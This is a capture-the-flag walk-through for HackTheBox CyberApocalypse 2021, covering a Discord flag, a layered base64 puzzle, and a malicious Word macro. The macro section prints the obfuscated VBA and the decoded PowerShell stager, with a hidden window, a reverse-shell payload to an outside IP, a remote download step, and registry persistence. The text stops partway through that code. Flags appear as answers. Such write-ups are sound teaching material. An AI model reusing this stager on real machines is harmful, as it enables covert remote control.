Hack the Box (HTB) – CyberApocalypse 2021

This is the walk-through of the HTB CyberApocalypse 2021.

Welcome
Nintendo Base64
Invitation
AlienPhish
Alien complaint form
BlitzProp

Warmup

Welcome (25pts)

Join our Discord Server and the CA-2021 channels…

Register to the HackTheBox Discord and go in channel ca-2021-announcements for the flag.

CHTB{CA_CTF_i$_F*ing_EPIC}

Crypto

Nintendo Base64 (300pts)

Aliens are trying to cause great misery for the human race by using our own cryptographic technology to encrypt all our games. Fortunately, the aliens haven’t played CryptoHack so they’re making several noob mistakes. Therefore they’ve given us a chance to recover our games and find their flags. They’ve tried to scramble data on an N64 but don’t seem to understand that encoding and ASCII art are not valid types of encryption!

Download the file.

            Vm                                                   0w               eE5GbFdWW         GhT            V0d4VVYwZ
            G9              XV                                   mx              yWk    ZOV       1JteD           BaV     WRH
                            YW                                   xa             c1              NsWl dS   M1   JQ WV       d4
S2RHVkljRm  Rp UjJoMlZrZH plRmRHV m5WaVJtUl hUVEZLZVZk   V1VrZFpWMU  pHVDFaV1Z  tSkdXazlXYW   twdl   Yx    Wm Fj  bHBFVWxWTlZ
Xdz     BWa 2M xVT     FSc  1d   uTl     hi R2h     XWW taS     1dG VXh     XbU ZTT     VdS elYy     cz     FWM    kY2VmtwV2
JU       RX dZ ak       Zr  U0   ZOc2JGWmlS a3       BY V1       d0 YV       lV MH       hj RVpYYlVaVFRWW  mF lV  mt       3V
lR       GV 01 ER       kh  Zak  5rVj   JFe VR       Ya Fdha   3BIV mpGU   2NtR kdX     bWx          oT   TB   KW VYxW   lNSM
Wx       XW kV kV       mJ  GWlRZ bXMxY2xWc 1V       sZ  FRiR1J5VjJ  0a1YySkdj   RVpWVmxKV           1V            GRTlQUT09

Remove all spaces from the ASCII art. This will give you a base 64 string.

Vm0weE5GbFdWWGhTV0d4VVYwZG9XVmxyWkZOV1JteDBaVWRHYWxac1NsWldSM1JQWVd4S2RHVkljRmRpUjJoMlZrZHplRmRHVm5WaVJtUlhUVEZLZVZkV1VrZFpWMUpHVDFaV1ZtSkdXazlXYWtwdlYxWmFjbHBFVWxWTlZXdzBWa2MxVTFSc1duTlhiR2hXWWtaS1dGVXhXbUZTTVdSelYyczFWMkY2VmtwV2JURXdZakZrU0ZOc2JGWmlSa3BYV1d0YVlVMHhjRVpYYlVaVFRWWmFlVmt3VlRGV01ERkhZak5rVjJFeVRYaFdha3BIVmpGU2NtRkdXbWxoTTBKWVYxWlNSMWxXWkVkVmJGWlRZbXMxY2xWc1VsZFRiR1J5VjJ0a1YySkdjRVpWVmxKV1VGRTlQUT09

Decode it 8 times using Burp Suite Decoder or any other base64 decoder.

CHTB{3nc0d1ng_n0t_3qu4l_t0_3ncrypt10n}

Forensics

Invitation (325pts)

Last night I received an invitation, but after I accepted, some weird things happened in my computer.

Download the Word file invite.docm and open it using Libre Office. Click on menu Tools -> Macro -> Edit Macros. Select invite.docm/Project/Documents Objects/ThisDocument. The macro code gives errors. Fix them by creating a Main sub. Modify the macro to write the code in the document that would be executed by the shell command (and comment the shell execution).

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

Private Function odsuozldxufm(ByVal gwndcowqyulk As String) As String
	Dim cjzkqjwvtdxr As Long
	For cjzkqjwvtdxr = 1 To Len(gwndcowqyulk) Step 2
		odsuozldxufm = odsuozldxufm & Chr$(Val("&H" & Mid$(gwndcowqyulk, cjzkqjwvtdxr, 2)))
	Next cjzkqjwvtdxr
End Function

Sub Main
	Dim bomazpcuwhstlcd As String
	Dim dbcsmjrdsqm As String
	Dim gxiwcxqzqi As String
	Dim uejdkidq As String	
	bomazpcuwhstlcd = odsuozldxufm("4c674167414367414941416b414641416377426f4147384162514246414673414e414264414373414a41427741484d4161414276414530415a51426241444d414d414264414373414a774234414363414b514167414367414941426241484d416441427941476b4162674248414630414f67413641476f41627742704147") & odsuozldxufm("34414b41416e") & _
	odsuozldxufm("4143634149414173414341414b4142624146494152") & odsuozldxufm("514248414755415741426441446f414f67424e41474541564142444145674152514254414367414941416941436b414a774234414363414b77426441444d414d5142624145514153514273414577415a51424941484d414a414172414630414d514262414551416151424d41457741") & _
	odsuozldxufm("5a51426f41484d414a414167414367414a674238414341414b51413041444d4158514253414545416141426a414673415851424841473441535142534146514163774262414377414a774230414667416167416e414367415a5142444145454154414251414555415567417541436b414a77416b414363414c41416e41486341") & odsuozldxufm("63514270") & _
	odsuozldxufm("414363414b41426c41454d415151424d4146414152514253414334414b51416e4144734164414259414363414b77416e41476f415a514279414745415877427a41474d416277426b4147774159514274414363414b77416e") & odsuozldxufm("414873415167416e414373414a774255414363414b77416e4145674151774230414667416167416741436341") & _
	odsuozldxufm("4b77416e4144304149414277414363414b77416e414763415a5142794148634163514270414363414b414169414341414c41416e414334414a774167414377414a774253414363414b77416e41476b41527742494146514164414250414777414a774172414363415a51426d414851414a77416741436b414941423841434141526742") & odsuozldxufm("76") & _
	odsuozldxufm("414649415251426841454d4153414174414538415167424b4147554159774255414341416577416b414638414c6742574145454154414256414555416651416741436b414b514167414341414b51414b41416f414367416b41484141595142354147774162774268414751415167426841484d") & odsuozldxufm("415a514132414451414941413941434141") & _
	odsuozldxufm("4967424b4145454151674271414545415277423341454541595142524145494162414242414563414e41424241475141515142424147634151514245414441415151424a41454541516742504145454152774256") & odsuozldxufm("414545415a4142334145454164414242414555414f41424241466b415a7742434148454151514248414655415151425a") & _
	odsuozldxufm("414863415167417741454541517742424145454156514233414549414e514242414567415451424241475141515142434147774151514248414441415151424d41476341516742504145454152774256414545415a4142424145454164514242414559415451424241474941") & odsuozldxufm("6477424341476f415151424841484d415151426141464541") & _
	odsuozldxufm("51674177414545415341424e414545415441426e4145494156514242414555415451424241465541515142434145514151514248414863415151426841464541516742734145454152774130414545415a414242414545416277424241454d41535142424145304155514242414455415151424541466b415151") & odsuozldxufm("424d4147634151514235") & _
	odsuozldxufm("414545415241424e4145454154514233414545416567424241454d414e41424241453441555142424144414151514244414451415151424e41476341515142704145454151774233414545415467424241") & odsuozldxufm("4545414d41424241455141555142424145344151514242414841415151424541484d415151424b414545415167423641454541") & _
	odsuozldxufm("53414252414545415977426e41454941624142424145634152514242414749415551424241") & odsuozldxufm("47634151514245414441415151424a4145454151514272414545415277424e414545415967424241454941634142424145634156514242414749415a7742434144414151514244414451415151425341486341516742734145454153414252") & _
	odsuozldxufm("4145454156514233414549414d414242414567415351424241466f41555142434147674151514248414441415151424c4145454151514277414545415241427a4145454156774233414549416151424241456741617742424147514151514243414777415151424741484d41515142") & odsuozldxufm("59414645415167426b414545415177425241454541") & _
	odsuozldxufm("5751426e414549414e514242414567415551424241466f415551424341486f41515142444145454151514251414645415151426e4145454152414242414545415441426e41454541645142424145514157514242414534415551424241444541") & odsuozldxufm("51514245414530415151424f41464541516741344145454151774256414545415a514233") & _
	odsuozldxufm("4145") & odsuozldxufm("454164774242414567414d414242414538416477424341444d41515142484147634151514268414645415167427a41454541527742564145454153774242414545416277424241454d415551424241474541555142424147634151514245414441415151424a4145454151514272414545415341424e414545415a41424241454941") & _
	odsuozldxufm("655142424145634156514242") & odsuozldxufm("41466b415551424341485141515142444144514151514256414763415167427341454541527742464145454157674242414545416277424241454d415551424241466b415a774243414455415151424941464541515142614146454151674236414545415177423341454541535142424145454164774242") & _
	odsuozldxufm("41454d416477424241456b4151514242414773415151424841456b415151426c4146454151674177414545415277425641454541597742334145454164514242414555416477424241466f415551") & odsuozldxufm("4243414855415151424841474d415151426b414545415167427641454541517742724145454153774252414545415a77424241454d41") & _
	odsuozldxufm("4d414242414749415a7742434147774151514244414545415151424e4145454151514277414545415341427a") & odsuozldxufm("41454541547742334145454161774242414563415551424241466b41555142434144414151514248414555415151424a41454541515141354145454151774242414545415377424241454941547742424145634156514242") & _
	odsuozldxufm("41475141647742424148514151514246414467415151425a414763415167427841454541527742564145454157514233414549414d41424241454d415151424241457741") & odsuozldxufm("555142434146554151514249414773415151426a4145454151674273414545415251413041454541575142524145494164414242414563415651424241456b41") & _
	odsuozldxufm("515142434146514151514249414773415151426a4148634151674177414545415277425641454541596742524145454164514242414559415551424241466f41555142434144514151514249414645415151424d4147634151674243414545415267424e41454541555142334145") & odsuozldxufm("49415367424241455541617742424146494155514243") & _
	odsuozldxufm("4148554151514248414530415151426941486341516742724145454152774272414545415967426e414549416267424241454d416177424241457741") & odsuozldxufm("5a7742434145674151514248414655415151426b41454541516742554145454153414252414545415977426e4145494163414242414563414e41424241466f416477424241473841") & _
	odsuozldxufm("51514244414645415151425a414763415167413141454541534142524145454157") & odsuozldxufm("674252414549416567424241454d4164774242414530415151424241484d4151514244414545415151424b4145454151674277414545415177427241454541547742334145454161774242414567415451424241466f41555142434148554151514248") & _
	odsuozldxufm("414645415151425a414763415167426f414545415277424e4145454159514233414545415a774242414551414d41424241456b4151514242414738415151424841477341515142614146454151") & odsuozldxufm("67413041454541517742424145454153674242414549416177424241456341525142424147514151514243414767415151424441454541")
	dbcsmjrdsqm = odsuozldxufm("5151424e4147634151514172414545415177425a4145454154514252414545415a77424241456741647742") & odsuozldxufm("4241456b41515142434146414151514249414655415151426b4145454151514230414545415267424e414545415a41424241454941655142424145634161774242414749415a7742434147344151514244414545415151424c") & _
	odsuozldxufm("4146454151514133414545415177425241454541597742334145494162414242414563414e41424241466f415151424341476b4151514248414555415151425a4148634151674279414545415241424a") & odsuozldxufm("4145454153514242414545415a774242414551414d41424241456b41515142424147734151514249414530415151426141464541") & _
	odsuozldxufm("516742314145454152774252414545415751426e414549416141424241456341545142424147454164774242414763415151424441484d415151424a414545415151427041454541526742424145454156514233414545415a77424241454d415351424241456b41515142") & odsuozldxufm("424148494151514244414545415151424c4145454151674233") & _
	odsuozldxufm("414545415341426a4145454157674242414545416341424241454d414e414242414655415151424341476741515142494146454151514268414545415151426e414545415177427a41454541535142424145454161") & odsuozldxufm("514242414551414e41424241456b415151424241476b415151424541484d415151424b414545415167423641454541") & _
	odsuozldxufm("52774256414545415967426e4145494161774242414563415351424241475541555142434144414151514248414655415151424a4145454151514135414545415177424241454541537742424145494159674242414567415551") & odsuozldxufm("424241466f41555142434144514151514249414645415151424d41476341516742734145454152774130") & _
	odsuozldxufm("414545415751423341454941646742424145634155514242414745415551424341485541") & odsuozldxufm("5151424841474d41515142594146454151514132414545415241427641454541555142524145494156414242414555415451424241464d415551424341456f4151514244414773415151424d4147634151674249414545415277425641454541") & _
	odsuozldxufm("5a4142424145494151774242414567416177424241475141515142434147774151514249414530415151424c41454541515142") & odsuozldxufm("72414545415341424e41454541576742524145494164514242414563415551424241466b415a77424341476741515142484145304151514268414863415151423541454541517742724145454154774233") & _
	odsuozldxufm("41454541617742424145674154514242414751415151424341486b4151514248414655415151425a41464541516742304145454151774130") & odsuozldxufm("41454541566742334145494165514242414563416177424241475141515142434147774151514244414763415151424b41454541516742364145454152774256414545415967426e41454941") & _
	odsuozldxufm("617742") & odsuozldxufm("42414563415351424241475541555142434144414151514248414655415151424d41454541515142334145454151774233414545415367424241454941656742424145634156514242414749415a774243414773415151424841456b415151426c41464541516741774145454152774256414545415441426e4145494154514242") & _
	odsuozldxufm("4145634156514242414749415a77424341473441515142494146454151514268414545415151") & odsuozldxufm("4277414545415241427a41454541536742424145494165674242414567415551424241474d415a774243414777415151424841455541515142694146454151514231414545415251425a4145454159674242414549414d51424241456741") & _
	odsuozldxufm("5451424241474541515142424147384151514244414773415151426d41464541515141334145454151774252") & odsuozldxufm("41454541575142334145494163774242414563416177424241466f41555142434148554151514249414645415151424d41476341516742454145454152774233414545415967423341454941656742424145634156514242") & _
	odsuozldxufm("414573415151424241484141515142424144304150514169414473414367414b41416f4155774246414851414941416f4143494152774134414349414b7741694147674149674170414341414941416f414341") & odsuozldxufm("4149414169414341414b51416741436b414e67417a41463041556742684147674159774262414377414a77427941474541") & _
	odsuozldxufm("5767416e4145554159774268414777415541426c414649414c51") & odsuozldxufm("4167414341414e41417a41463041556742684147674159774262414377414b5141774144554158514253414745416141426a414673414b7741344144634158514253414745416141426a414673414b7741354144514158514253414745416141426a414673414b414167") & _
	odsuozldxufm("41") & odsuozldxufm("4341415a5142444145454162414277414555415567426a414330414941416741436b414a774137414449414a774172414363415467416e414373414a774178414363414b77416e41483041595142304147554162514266414863415a51416e414373414a774275414638415a51426f414851414a774172414363415877417941453441") & _
	odsuozldxufm("4d5141") & odsuozldxufm("674144304149414275414363414b77416e414763415a514279414849414a7741724143634159514261414363414b41416f414341414b41416741436b414a77416e414734416151425041476f414c51416e414867414a774172414630414d7741734144454157774170414367415277424f41476b416367425541464d4162774230") & _
	odsuozldxufm("414334415251426a414534415a514279414755415267426c414649416341424641484d4154774243414649415251423241435141494141") & odsuozldxufm("6f414341414c674167414349414941416741436b4149414137414330416167425041456b4162674167414367414941427341464d414941416f4143494156674242414649414967417241434941") & _
	odsuozldxufm("53514268414549414967417241") & odsuozldxufm("4349415441424641446f415a7741694143734149674134414567414967417041434141494141704143344156674242414577416451426c4146734149414174414341414d5141754143344149414174414341414b414167414367414941427341464d414941416f41434941566742424146494149674172") & _
	odsuozldxufm("41434941535142684145494149674172414349415441424641446f415a7741694143") & odsuozldxufm("734149674134414567414967417041434141494141704143344156674242414577416451426c414334415441426c414734415a774230414567414b514264414341416641416741456b415a514259414341414367414b414545415a41426b41433041")
	gxiwcxqzqi = odsuozldxufm("56414235414841415a5141674143304154674268414730415a51416741466341615142754147") & odsuozldxufm("514162774233414341414c51424f414745416251426c41484d416341426841474d415a51416741454d416277427541484d41627742734147554149414174414530415a514274414749415a514279414551415a51426d41476b4162674270") & _
	odsuozldxufm("4148514161514276414734414941416e41416f4157774245414777416241424a4147304163414276414849416441416f414349415377426c414849416267426c414777414d774179414334415a4142734147774149674170414630") & odsuozldxufm("4143674277414855415967427341476b415977416741484d4164414268414851416151426a41434141") & _
	odsuozldxufm("5a514234414851415a514279414734414941424a41473441644142514148514163674167414563415a51423041454d416277427541484d41627742734147554156774270414734415a414276414863414b414170414473414367414b41467341") & odsuozldxufm("5241427341477741535142744148414162774279414851414b414169414855416377426c") & _
	odsuozldxufm("414849414d774179414334415a41427341477741496741704146304143674277414855415967427341476b415977416741484d4164414268414851416151426a414341415a514234414851415a51427941473441494142694147384162774273") & odsuozldxufm("414341415577426f414738416477425841476b416267426b414738416477416f41456b41") & _
	odsuozldxufm("6267423041464141644142794143414161414258414734415a4141734143414153514275414851414d7741794143414162674244414730415a414254414767416277423341436b414f77414b414363414f77414b4146734151774276414734416377427641477741") & odsuozldxufm("5a51417541466341615142754147514162774233414630414f674136") & _
	odsuozldxufm("41464d41614142764148634156774270414734415a414276414863414b41426241454d416277427541484d4162774273414755414c67425841476b416267426b414738416477426441446f414f6742484147") & odsuozldxufm("554164414244414738416267427a414738416241426c41466341615142754147514162774233414367414b51417341434141") & _
	odsuozldxufm("4d414170414473414367414b41416f416151426d414341414b41416b41484141595142354147774162774268414751415167426841484d415a5141324144514149414174414730415951423041474d416141416741434941") & odsuozldxufm("6141423041485141634141364148774161414230414851416341427a41446f4149674170414341416577414b") & _
	odsuozldxufm("4143414149414167414341414a4142774147454165514273414738415951426b414549415951427a414755414e6741304143414150514167414367415467426c414863414c51425041474941") & odsuozldxufm("6167426c41474d4164414167414349415467426c414851414c674258414755415967426a414777416151426c414734416441416941436b41") & _
	odsuozldxufm("4c6742454147384164774275414777416277426841475141557742") & odsuozldxufm("304148494161514275414763414b41416b41484141595142354147774162774268414751415167426841484d415a514132414451414b51413741416f416651414b41416f414a41427041473441637742304147454162414273414755415a4141674144304149414248") & _
	odsuozldxufm("414755416441417441456b416441") & odsuozldxufm("426c4147304155414279414738416341426c4148494164414235414341414c514251414745416441426f4143414149674249414573415177425641446f4158414254414738415a6742304148634159514279414755415841416b414367414a414279414755415a77427741436b414967416741433041") & _
	odsuozldxufm("54674268414730415a") & odsuozldxufm("514167414349414a41416f414351416367426c41476341626741704143494149414174414755415951416741464d416151427341475541626742304147774165514244414738416267423041476b4162674231414755414f77414b41416f4143674270414759414941416f414351416151427541484d4164414268") & _
	odsuozldxufm("414777416241426c41475141") & odsuozldxufm("4b514167414873414367414b41416f41494141674143414149414270414759414941416f414351416151427541484d4164414268414777416241426c4147514149414174414734415a514167414351416341426841486b4162414276414745415a414243414745416377426c414459414e41417041434141") & _
	odsuozldxufm("6577414b414341414941416741434141494141674143414149414254414755416441417441456b416441") & odsuozldxufm("426c4147304155414279414738416341426c4148494164414235414341414c514251414745416441426f4143414149674249414573415177425641446f4158414254414738415a6742304148634159514279414755415841416b") & _
	odsuozldxufm("414367414a414279414755415a77427741436b414967416741433041546742684147") & odsuozldxufm("30415a514167414349414a41416f414351416367426c41476341626741704143494149414174414559416277427941474d415a5141674143304156674268414777416451426c414341414a4142774147454165514273414738415951426b41454941") & _
	odsuozldxufm("5951427a414755414e67413041447341436741674143414149414167414830414367414b41434d4149414270414734416377423041474541624142734147454164414270414738416267414b414830414941426c414777416377426c414341416577414b4143414149414167414341414367414b4143414149414167414341") & odsuozldxufm("416151426d") & _
	odsuozldxufm("414341414b41416b414559415151424d41464d4152514167414330415a514278414341414b41425541475541637742304143304155414268414851416141") & odsuozldxufm("416741433041554142684148514161414167414349415341424c41454d415651413641467741557742764147594164414233414745416367426c414677414a41416f41435141") & _
	odsuozldxufm("6367426c4147634163414170414677414967417041436b414941423741416f414941416741434141494141674143414149414167414534415a51") & odsuozldxufm("42334143304153514230414755416251416741433041554142684148514161414167414349415341424c41454d415651413641467741557742764147594164414233414745416367426c") & _
	odsuozldxufm("414677414a41416f414351416367426c4147634163414170414349414f77414b4143414149414167414341416651414b4143414149414167414341415577") & odsuozldxufm("426c414851414c51424a414851415a5142744146414163674276414841415a514279414851416551416741433041554142684148514161414167414349415341424c41454d41") & _
	odsuozldxufm("5651413641467741557742764147594164414233414745416367426c414677414a41416f41435141") & odsuozldxufm("6367426c4147634163414170414349414941417441453441595142744147554149414169414351414b41416b414849415a51426e414734414b514169414341414c514247414738416367426a41475541494141744146594159514273") & _
	odsuozldxufm("414855415a514167414351416341426841486b4162414276414745415a414243414745416377426c414459414e41413741416f4149414167") & odsuozldxufm("414341414941414b41434141494141674143414143674167414341414941416741435141645141674144304149414262414555416267423241476b4163674276414734416251426c41473441")
	uejdkidq = odsuozldxufm("6441426441446f414f67425641484d415a5142794145344159514274414755414f77414b41434141494141674143414143674167414341414941416741416f4149414167414341414941416b414851415951427a4147734149414139414341415277426c414851414c51425441474d416141426c4147514164514273414755415a") & odsuozldxufm("414255") & _
	odsuozldxufm("4147454163774272414341414c514255414745416377427241453441595142744147554149414169414351414b41416b414849415a51426e414841414b51416b414367") & odsuozldxufm("414a414279414755415a77427541436b4149674167414330415a5142684143414155774270414777415a514275414851416241423541454d416277427541485141") & _
	odsuozldxufm("61514275414855415a51413741416f41494141674143414149414270414759414941416f414351416441426841484d4161774170414341416577414b41434141494141") & odsuozldxufm("6741434141494141674143414149414256414734416367426c414763416151427a414851415a514279414330415577426a414767415a51426b414855416241426c") & _
	odsuozldxufm("414751415641426841484d4161774167414330415641426841484d416177424f414745") & odsuozldxufm("416251426c414341414967416b414367414a414279414755415a77427741436b414a41416f414351416367426c4147634162674170414349414941417441454d41627742754147594161514279414730414f67416b414759415951427341484d41") & _
	odsuozldxufm("5a51413741416f4149414167414341414941423941416f4149414167414341414941414b4143414149414167414341414367416741434141494141674143514159514167414430414941424f414755416477417441464d415977426f414755415a414231414777415a51426b414651") & odsuozldxufm("415951427a414773415151426a4148514161514276") & _
	odsuozldxufm("4147344149414174414555416541426c41474d416451423041475541494141694148414162774233414755416367427a414767415a514273414777414c67426c414867415a5141694143414149674174414863414941426f41476b415a41426b414755") & odsuozldxufm("416267416741433041525142344147554159774231414851416151427641473441") & _
	odsuozldxufm("55414276414777") & odsuozldxufm("416151426a41486b414941424341486b416341426841484d41637741674143304162674276414841414941417441453441627742464148674161514230414341414c514244414341415677427941476b416441426c414330416141427641484d41644141674143634156774270414734415a4142764148634163774167") & _
	odsuozldxufm("414855416341") & odsuozldxufm("426b414745416441426c414341416367426c414745415a414235414363414f77416741476b415a514234414341414b41426241464d416551427a414851415a514274414334415641426c4148674164414175414555416267426a414738415a414270414734415a77426441446f414f674256414651415267413441433441") & _
	odsuozldxufm("5277426c414851") & odsuozldxufm("41557742304148494161514275414763414b41426241464d416551427a414851415a5142744143344151774276414734416467426c414849416441426441446f414f6742474148494162774274414549415951427a414755414e67413041464d416441427941476b416267426e414367414b4142484147554164414174") & _
	odsuozldxufm("41456b416441426c4147304155414279414738416341426c41484941644142354143") & odsuozldxufm("41415341424c41454d415651413641467741557742764147594164414233414745416367426c414677414a41416f414351416367426c414763416341417041436b414c67416b414367414a414279414755415a77427541436b414b51417041436b41") & _
	odsuozldxufm("4f774169414473414367416741434141494141674143514164414167414430414941424f414755416477417441464d415977426f41") & odsuozldxufm("4755415a414231414777415a51426b414651415951427a414773415641427941476b415a77426e41475541636741674143304151514230414577416277426e4145384162674167414330415651427a") & _
	odsuozldxufm("4147554163674167414349414a41416f4143514164514170414349414f7741") & odsuozldxufm("4b4143414149414167414341414a4142774143414150514167414534415a514233414330415577426a414767415a51426b414855416241426c414751415641426841484d4161774251414849416151427541474d4161514277414745416241416741434941") & _
	odsuozldxufm("4a41416f4143514164514170414349414f77414b4143414149414167414341414a41427a4143414150514167414534415a514233414330415577426a414767415a51426b414855416241426c414751415641426841484d4161774254414755416441423041") & odsuozldxufm("476b416267426e41484d415577426c4148514149414174414567416151426b") & _
	odsuozldxufm("414751415a51427541447341") & odsuozldxufm("436741674143414149414167414351415a414167414430414941424f414755416477417441464d415977426f414755415a414231414777415a51426b414651415951427a4147734149414174414545415977423041476b4162774275414341414a414268414341414c514255414849416151426e41476341") & _
	odsuozldxufm("5a514279414341414a414230414341414c514251414849416151427541474d416151427741474541624141674143514163414167414330415577426c4148514164414270414734415a77427a414341414a41427a41447341436741674143414149414167414649415a51426e41476b4163774230414755416367417441464d") & odsuozldxufm("415977426f") & _
	odsuozldxufm("414755415a414231414777415a51426b414651415951427a4147734149414169414351414b41416b414849415a51426e414841414b51416b414367414a414279414755415a") & odsuozldxufm("77427541436b41496741674143304153514275414841416451423041453841596742714147554159774230414341414a41426b414473414367423941416f41") & _
	odsuozldxufm("4367414b41476b415a514234414341414b4142") & odsuozldxufm("6241464d416551427a414851415a514274414334415641426c4148674164414175414555416267426a414738415a414270414734415a77426441446f414f6742564146514152674134414334415277426c41485141557742304148494161514275414763414b41426241464d416551427a") & _
	odsuozldxufm("414851415a5142744143344151774276414734416467426c414849416441426441446f414f6742474148494162774274414549") & odsuozldxufm("415951427a414755414e67413041464d416441427941476b416267426e414367414a4142774147454165514273414738415951426b414549415951427a414755414e67413041436b414b514170414473414367414b41413d3d")
	'x = Shell(odsuozldxufm("50") & odsuozldxufm("4f5745525348454c4c2e6578") & odsuozldxufm("65202d6e6f65786974202d772068696464") & odsuozldxufm("656e202d656e6320") & bomazpcuwhstlcd & dbcsmjrdsqm & gxiwcxqzqi & uejdkidq, 1)

	Selection.TypeText(odsuozldxufm("50") & odsuozldxufm("4f5745525348454c4c2e6578") & odsuozldxufm("65202d6e6f65786974202d772068696464") & odsuozldxufm("656e202d656e6320") & bomazpcuwhstlcd & dbcsmjrdsqm & gxiwcxqzqi & uejdkidq)
End Sub

Run the macro. The Word document will now contain the code that would be executed by the shell command.

POWERSHELL.exe -noexit -w hidden -enc .   (   $ P s h o m E [ 4 ] + $ p s h o M e [ 3 0 ] + ' x ' )   (   [ s t r i n G ] : : j o i n ( ' '   ,   ( [ R E G e X ] : : M a T C H E S (   " ) ' x ' + ] 3 1 [ D I l L e H s $ + ] 1 [ D i L L e h s $   ( & |   ) 4 3 ] R A h c [ ] G n I R T s [ , ' t X j ' ( e C A L P E R . ) ' $ ' , ' w q i ' ( e C A L P E R . ) ' ; t X ' + ' j e r a _ s c o d l a m ' + ' { B ' + ' T ' + ' H C t X j   ' + ' =   p ' + ' g e r w q i ' ( "   , ' . '   , ' R ' + ' i G H T t O l ' + ' e f t '   )   |   F o R E a C H - O B J e c T   { $ _ . V A L U E }   ) )     ) 
 
 
 $ p a y l o a d B a s e 6 4   =   " J A B j A G w A a Q B l A G 4 A d A A g A D 0 A I A B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A U w B 5 A H M A d A B l A G 0 A L g B O A G U A d A A u A F M A b w B j A G s A Z Q B 0 A H M A L g B U A E M A U A B D A G w A a Q B l A G 4 A d A A o A C I A M Q A 5 A D Y A L g A y A D M A M w A z A C 4 A N Q A 0 A C 4 A M g A i A C w A N A A 0 A D Q A N A A p A D s A J A B z A H Q A c g B l A G E A b Q A g A D 0 A I A A k A G M A b A B p A G U A b g B 0 A C 4 A R w B l A H Q A U w B 0 A H I A Z Q B h A G 0 A K A A p A D s A W w B i A H k A d A B l A F s A X Q B d A C Q A Y g B 5 A H Q A Z Q B z A C A A P Q A g A D A A L g A u A D Y A N Q A 1 A D M A N Q B 8 A C U A e w A w A H 0 A O w B 3 A G g A a Q B s A G U A K A A o A C Q A a Q A g A D 0 A I A A k A H M A d A B y A G U A Y Q B t A C 4 A U g B l A G E A Z A A o A C Q A Y g B 5 A H Q A Z Q B z A C w A I A A w A C w A I A A k A G I A e Q B 0 A G U A c w A u A E w A Z Q B u A G c A d A B o A C k A K Q A g A C 0 A b g B l A C A A M A A p A H s A O w A k A G Q A Y Q B 0 A G E A I A A 9 A C A A K A B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A L Q B U A H k A c A B l A E 4 A Y Q B t A G U A I A B T A H k A c w B 0 A G U A b Q A u A F Q A Z Q B 4 A H Q A L g B B A F M A Q w B J A E k A R Q B u A G M A b w B k A G k A b g B n A C k A L g B H A G U A d A B T A H Q A c g B p A G 4 A Z w A o A C Q A Y g B 5 A H Q A Z Q B z A C w A M A A s A C A A J A B p A C k A O w A k A H M A Z Q B u A G Q A Y g B h A G M A a w A g A D 0 A I A A o A G k A Z Q B 4 A C A A J A B k A G E A d A B h A C A A M g A + A C Y A M Q A g A H w A I A B P A H U A d A A t A F M A d A B y A G k A b g B n A C A A K Q A 7 A C Q A c w B l A G 4 A Z A B i A G E A Y w B r A D I A I A A g A D 0 A I A A k A H M A Z Q B u A G Q A Y g B h A G M A a w A g A C s A I A A i A F A A U w A g A C I A I A A r A C A A K A B w A H c A Z A A p A C 4 A U A B h A H Q A a A A g A C s A I A A i A D 4 A I A A i A D s A J A B z A G U A b g B k A G I A e Q B 0 A G U A I A A 9 A C A A K A B b A H Q A Z Q B 4 A H Q A L g B l A G 4 A Y w B v A G Q A a Q B u A G c A X Q A 6 A D o A Q Q B T A E M A S Q B J A C k A L g B H A G U A d A B C A H k A d A B l A H M A K A A k A H M A Z Q B u A G Q A Y g B h A G M A a w A y A C k A O w A k A H M A d A B y A G U A Y Q B t A C 4 A V w B y A G k A d A B l A C g A J A B z A G U A b g B k A G I A e Q B 0 A G U A L A A w A C w A J A B z A G U A b g B k A G I A e Q B 0 A G U A L g B M A G U A b g B n A H Q A a A A p A D s A J A B z A H Q A c g B l A G E A b Q A u A E Y A b A B 1 A H M A a A A o A C k A f Q A 7 A C Q A Y w B s A G k A Z Q B u A H Q A L g B D A G w A b w B z A G U A K A A p A A = = " ; 
 
 
 S E t   ( " G 8 " + " h " )     (     "   )   ) 6 3 ] R a h c [ , ' r a Z ' E c a l P e R -     4 3 ] R a h c [ , ) 0 5 ] R a h c [ + 8 7 ] R a h c [ + 9 4 ] R a h c [ (     e C A l p E R c -     ) ' ; 2 ' + ' N ' + ' 1 ' + ' } a t e m _ w e ' + ' n _ e h t ' + ' _ 2 N 1   =   n ' + ' g e r r ' + ' a Z ' ( (   (   ) ' ' n i O j - ' x ' + ] 3 , 1 [ ) ( G N i r T S o t . E c N e r e F e R p E s O B R E v $   (   .   "     )   ; - j O I n   (   l S   ( " V A R " + " I a B " + " L E : g " + " 8 H " )     ) . V A L u e [   -   1 . .   -   (   (   l S   ( " V A R " + " I a B " + " L E : g " + " 8 H " )     ) . V A L u e . L e n g t H ) ]   |   I e X   
 
 A d d - T y p e   - N a m e   W i n d o w   - N a m e s p a c e   C o n s o l e   - M e m b e r D e f i n i t i o n   ' 
 [ D l l I m p o r t ( " K e r n e l 3 2 . d l l " ) ] 
 p u b l i c   s t a t i c   e x t e r n   I n t P t r   G e t C o n s o l e W i n d o w ( ) ; 
 
 [ D l l I m p o r t ( " u s e r 3 2 . d l l " ) ] 
 p u b l i c   s t a t i c   e x t e r n   b o o l   S h o w W i n d o w ( I n t P t r   h W n d ,   I n t 3 2   n C m d S h o w ) ; 
 ' ; 
 [ C o n s o l e . W i n d o w ] : : S h o w W i n d o w ( [ C o n s o l e . W i n d o w ] : : G e t C o n s o l e W i n d o w ( ) ,   0 ) ; 
 
 
 i f   ( $ p a y l o a d B a s e 6 4   - m a t c h   " h t t p : | h t t p s : " )   { 
         $ p a y l o a d B a s e 6 4   =   ( N e w - O b j e c t   " N e t . W e b c l i e n t " ) . D o w n l o a d S t r i n g ( $ p a y l o a d B a s e 6 4 ) ; 
 } 
 
 $ i n s t a l l e d   =   G e t - I t e m P r o p e r t y   - P a t h   " H K C U : \ S o f t w a r e \ $ ( $ r e g p ) "   - N a m e   " $ ( $ r e g n ) "   - e a   S i l e n t l y C o n t i n u e ; 
 
 
 i f   ( $ i n s t a l l e d )   { 
 
 
         i f   ( $ i n s t a l l e d   - n e   $ p a y l o a d B a s e 6 4 )   { 
                 S e t - I t e m P r o p e r t y   - P a t h   " H K C U : \ S o f t w a r e \ $ ( $ r e g p ) "   - N a m e   " $ ( $ r e g n ) "   - F o r c e   - V a l u e   $ p a y l o a d B a s e 6 4 ; 
         } 
 
